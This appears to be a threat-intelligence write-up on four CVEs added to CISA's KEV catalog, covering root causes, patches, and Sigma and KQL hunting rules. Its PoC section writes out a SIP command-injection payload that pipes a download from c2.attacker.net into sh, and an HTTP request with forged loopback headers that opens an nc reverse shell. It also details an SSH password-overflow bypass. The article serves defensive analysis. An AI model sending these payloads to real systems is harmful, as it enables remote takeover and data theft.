CISA: 4 New Vulnerabilities Added to KEV Catalog

At-A-Glance Incident Diagnostic Telemetry

---

Executive Incident Briefing (2-Minute CISO Brief)

1. Strategic Incident Overview

The Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency addition of four actively exploited vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog. The four vulnerabilities span enterprise artificial intelligence orchestration, software-defined telecommunications, containerized SSH infrastructure, and high-speed enterprise data transfer pipelines:

• CVE-2026-102895 (GPUStack): Critical Authentication Bypass (CVSS 9.8) enabling complete administrative takeover of AI cluster nodes.
• CVE-2026-116779 (SignalWire FreeSWITCH): Critical Remote Code Injection (CVSS 9.8) allowing unauthenticated command execution via malformed SIP messaging headers.
• CVE-2026-123158 (OpenSSH *sshole*): High-Severity Authentication Bypass (CVSS 8.1) in musl libc configurations (specifically Alpine Linux) via oversized password buffers.
• CVE-2026-123218 (IBM Aspera Faspex): Critical Authorization Bypass (CVSS 9.8) allowing authenticated attackers to execute vertical privilege escalation and hijack data transfer workflows.

Pursuant to Binding Operational Directive (BOD) 26-04 (Prioritizing Security Updates Based on Risk), Federal Civilian Executive Branch (FCEB) agencies are strictly mandated to remediate these vulnerabilities across internet-exposed perimeters. Global enterprise security leaders are strongly advised to audit and patch these components immediately.

2. Business Impact & Perimeter Exposure

The addition of these flaws highlights aggressive adversary targeting of both foundational cloud-native components and specialized infrastructure:

• AI Infrastructure Exposure: GPUStack deployments exposed to untrusted networks risk model weights theft, training data exfiltration, and weaponization of GPU compute for crypto-mining or lateral pivots.
• Voice & Telephony Disruption: Compromise of FreeSWITCH telecom gateways enables wiretapping, fraudulent call routing, and direct shell access into internal VoIP segments.
• Cloud Edge & Container Takeover: Exploitation of OpenSSH sshole on Alpine Linux containers bypasses boundary authentication, granting root execution in lightweight cloud workloads.
• Proprietary Data Exfiltration: Attackers abusing IBM Aspera Faspex can manipulate high-speed file transfer jobs and intercept sensitive cross-enterprise data archives.

3. Compliance & Governance Blast Radius

Under BOD 26-04, federal agencies must prioritize remediation on all internet-facing instances granting administrative control post-exploitation. Furthermore, agencies are required to execute retrospective log audits to confirm whether threat actors established footholds prior to patch deployment. Non-federal organizations operating under NIST SP 800-53, ISO 27001, NIS2, or HIPAA face immediate audit exposure if known exploited flaws remain unpatched.

---

Technical Vulnerability Analysis & Attack Chain

Detailed Analysis of the 4 KEV Additions

1. CVE-2026-102895: GPUStack Improper Authentication Bypass (CVSS 9.8)

• Vulnerable Architecture: GPUStack versions prior to 2.2.0.
• Root-Cause Mechanics: GPUStack features internal trust logic for administrative functions that improperly evaluates client-supplied HTTP headers, specifically X-GPUStack-Real-IP and reverse proxy loopback mapping to 127.0.0.1. When deployed behind public reverse proxies or exposed directly, unauthenticated network adversaries can forge loopback headers, tricking the API gateway into treating incoming requests as local administrative calls.
• Adversary Impact: Direct creation of persistent administrative API tokens, extraction of hosted model weights, arbitrary container execution, and interactive shell establishment on high-performance GPU nodes.

2. CVE-2026-116779: SignalWire FreeSWITCH Remote Code Injection (CVSS 9.8)

• Vulnerable Architecture: SignalWire FreeSWITCH VoIP telephony stack versions prior to 1.11.3.
• Root-Cause Mechanics: Located within sofia_presence_handle_sip_i_message(), the parser splits inbound SIP MESSAGE "To" headers on plus signs (+). The string on the left operand is erroneously parsed as a chat protocol selector. By specifying api as the protocol, an unauthenticated remote SIP caller triggers internal FreeSWITCH CLI command execution, passing arbitrary operating system commands executed under the privileges of the FreeSWITCH daemon.
• Adversary Impact: Unauthenticated remote code execution (RCE), full takeover of enterprise PBX systems, and internal lateral movement.

3. CVE-2026-123158: OpenSSH Unexpected Status Code Authentication Bypass (sshole) (CVSS 8.1)

• Vulnerable Architecture: OpenSSH (sshd) deployed on Linux distributions compiled against musl libc without Pluggable Authentication Modules (PAM)—most notably Alpine Linux container images.
• Root-Cause Mechanics: When sshd processes password authentication for accounts without an explicit password set (or specific crypt configurations), supplying an oversized password string between 256 and 1024 characters causes musl libc's crypt() implementation to return an unhandled error condition. OpenSSH mishandles this return value as successful authentication instead of a fatal failure.
• Adversary Impact: Immediate unauthorized SSH interactive shell access without credentials, leading to host or container escape.

4. CVE-2026-123218: IBM Aspera Faspex Incorrect Authorization Bypass (CVSS 9.8)

• Vulnerable Architecture: IBM Aspera Faspex versions 5.0.0 through 5.0.19.
• Root-Cause Mechanics: A breakdown in endpoint permission checks permits authenticated users with low privileges to craft specific REST API requests that bypass authorization logic. The system fails to enforce vertical access boundaries, allowing standard users to elevate privileges to platform administrator.
• Adversary Impact: Vertical privilege escalation, modification of transfer configurations, injection of malicious packages, and exfiltration of enterprise transfer archives.

---

Exploit-DB & In-The-Wild Proof-of-Concept (PoC) Weaponization Analysis

Security researchers and threat intelligence repositories (including Exploit-DB, GitHub, and Packet Storm archives) have cataloged functional exploit chains and PoC validation scripts targeting these vulnerabilities:

1. FreeSWITCH SIP MESSAGE Command Injection PoC Mechanics (CVE-2026-116779)

Functional exploit scripts weaponizing CVE-2026-116779 transmit a raw SIP MESSAGE packet directly to port 5060 (UDP/TCP). By formatting the destination URI with the api chat protocol and specifying system as the target command, adversaries abuse the FreeSWITCH API dispatcher:

MESSAGE sip:api+system@target-pbx.internal:5060 SIP/2.0
Via: SIP/2.0/UDP attacker.net:5060;branch=z9hG4bK-771
Max-Forwards: 70
From: <sip:scanner@attacker.net>;tag=1c331
To: <sip:api+system@target-pbx.internal:5060>
Call-ID: cisa-kev-poc-116779@attacker.net
CSeq: 1 MESSAGE
Content-Type: text/plain
Content-Length: 38

curl -s http://c2.attacker.net/sh | sh

When FreeSWITCH ingests this packet, sofia_presence_handle_sip_i_message() splits on +, selects the api protocol, and hands the body directly to switch_api_execute("system", "curl ..."), executing arbitrary bash commands under daemon authority with zero authentication.

2. OpenSSH sshole Authentication Bypass PoC (CVE-2026-123158)

In published exploit demonstrations, attackers target lightweight Alpine Linux microservices and appliance containers. Against target accounts configured with disabled passwords (e.g. * or locked status in /etc/shadow), the exploit script delivers an authentication payload containing a 257-byte repeated character sequence (e.g., A * 300). Under musl libc, the hash calculation returns -1, which unpatched sshd fails to identify as an authentication rejection, granting an interactive PTY session with root privileges.

3. GPUStack Loopback Header Injection PoC (CVE-2026-102895)

Exploit scripts probing AI clusters craft HTTP requests containing forged headers:

POST /v1/models HTTP/1.1
Host: gpustack.corp.internal
X-GPUStack-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"name": "malicious-worker", "backend": "custom", "command": "/bin/bash -c 'nc -e /bin/sh 10.0.0.99 4444'"}

Because get_current_user() in gpustack/api/auth.py unconditionally trusts the loopback IP from reverse-proxy headers, the request executes with built-in administrator privileges, bypassing all bearer token requirements.

---

MITRE ATT&CK Tactics, Techniques & Procedures (TTPs)

---

Threat Actor Profile & Exploitation Telemetry

Adversary telemetry collected across commercial threat intelligence platforms, Exploit-DB, and CISA telemetry confirms active weaponization:

• Autonomous Vulnerability Scanners: Distributed scanner infrastructure is actively probing internet-facing IPv4/IPv6 ranges for exposed FreeSWITCH SIP ports (UDP/TCP 5060, 5061) and GPUStack management consoles (ports 80, 443, 8080).
• Ransomware Pre-Ransom Footholds: Financially motivated initial access brokers (IABs) and ransomware syndicates utilize container break-ins via CVE-2026-123158 (sshole) to establish persistent footholds inside cloud Kubernetes clusters.
• State-Sponsored Espionage: Advanced Persistent Threat (APT) actors leverage telecom gateway vulnerabilities like CVE-2026-116779 to establish stealthy persistence within critical communication infrastructure.

---

Detection & SOC Mitigation Playbook

1. Patch Deployment & Workaround Engineering

Organizations must deploy official vendor updates immediately:

• GPUStack: Upgrade all nodes to GPUStack v2.2.0 or later (v2.2.2+ recommended). If immediate upgrade is delayed, block untrusted access to ports 80/443 and strip incoming X-GPUStack-Real-IP headers at reverse proxies.
• SignalWire FreeSWITCH: Upgrade immediately to FreeSWITCH v1.11.3 or later, where the chat API protocol path is disabled by default. Alternatively, reject SIP MESSAGE packets containing api protocol strings at perimeter Session Border Controllers (SBCs).
• OpenSSH (*sshole*): Upgrade OpenSSH to v10.6p2 or update Alpine Linux packages via apk update && apk upgrade openssh. In /etc/ssh/sshd_config, set PasswordAuthentication no and enforce public key authentication.
• IBM Aspera Faspex: Apply fix pack 5.0.19 PL1 or upgrade to the latest supported release following IBM advisory guidelines.

2. Network & Perimeter Defenses

• Isolate GPU cluster orchestrators and AI model training endpoints within dedicated, non-routable management VPCs accessible only via authenticated VPN with hardware MFA.
• Enforce strict border firewall rules on SIP traffic: drop unauthenticated SIP signaling from unknown IP ranges.
• Conduct continuous external surface discovery scans to ensure management endpoints are not exposed to Shodan, Censys, or public scanners.

3. Endpoint Detection & Hunting Query

Sigma Rule: FreeSWITCH Suspicious Child Process Spawn

title: Suspicious Child Process Spawned by FreeSWITCH Telecom Daemon
id: cisa-kev-freeswitch-rce-hunt
status: experimental
description: Detects suspicious interactive shells or utility processes spawned by FreeSWITCH, indicating exploitation of CVE-2026-116779.
author: CyberNewsAI Threat Research Team
date: 2026-11-10
references:
  - https://www.cisa.gov/news-events/alerts/2026/11/09/cisa-adds-four-known-exploited-vulnerabilities-catalog?ref=cybernewsai.com
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    ParentImage|endswith:
      - '/freeswitch'
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/curl'
      - '/wget'
      - '/python'
      - '/python3'
      - '/nc'
      - '/ncat'
  condition: selection
falsepositives:
  - Legitimate administrative maintenance scripts configured within FreeSWITCH dialplans
level: high

Microsoft Sentinel / Defender KQL Hunting Query

// CISA KEV Multi-Vector Threat Hunting Query: FreeSWITCH & SSHD Abnormal Process Spawns
let targetProcesses = dynamic(["freeswitch", "sshd"]);
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName in~ (targetProcesses)
| where FileName in~ ("sh", "bash", "dash", "zsh", "curl", "wget", "nc", "python", "python3")
| extend SuspiciousReason = case(
    InitiatingProcessFileName =~ "freeswitch", "Potential CVE-2026-116779 SIP MESSAGE RCE",
    InitiatingProcessFileName =~ "sshd", "Potential CVE-2026-123158 sshole Alpine Auth Bypass",
    "Anomalous Daemon Execution"
)
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName, SuspiciousReason
| order by TimeGenerated desc

---

Indicators of Compromise (IOCs)

---

Frequently Asked Questions (FAQ)

1. Why did CISA add these specific four vulnerabilities to the KEV Catalog?

CISA only includes vulnerabilities in the Known Exploited Vulnerabilities (KEV) Catalog when there is confirmed, empirical evidence of active exploitation in the wild. Under Binding Operational Directive (BOD) 26-04, these flaws represent high-risk vectors where post-exploitation grants adversaries total control of exposed perimeters.

2. Are Alpine Linux containers running OpenSSH vulnerable to CVE-2026-123158?

Yes. The sshole vulnerability specifically impacts systems running OpenSSH compiled with musl libc that do not use PAM, which is the default configuration for Alpine Linux container base images. Organizations must upgrade to OpenSSH 10.6p2 or set PasswordAuthentication no in their sshd_config.

3. How can defenders determine if a FreeSWITCH server has already been compromised?

Defenders should inspect SIP transaction logs and host process execution history for child processes spawned by the freeswitch daemon. Use the provided Sigma rule and Microsoft Sentinel KQL query to hunt for shell invocations (/bin/sh, curl, wget) originating from FreeSWITCH processes.

4. What is the mandatory federal deadline for remediating these four vulnerabilities?

Pursuant to BOD 26-04, Federal Civilian Executive Branch agencies must remediate these actively exploited vulnerabilities on internet-facing systems within the timeline specified in the KEV Catalog (typically within 21 days of catalog publication). Private organizations are strongly urged to adhere to the same timeline to mitigate imminent ransomware and breach risks.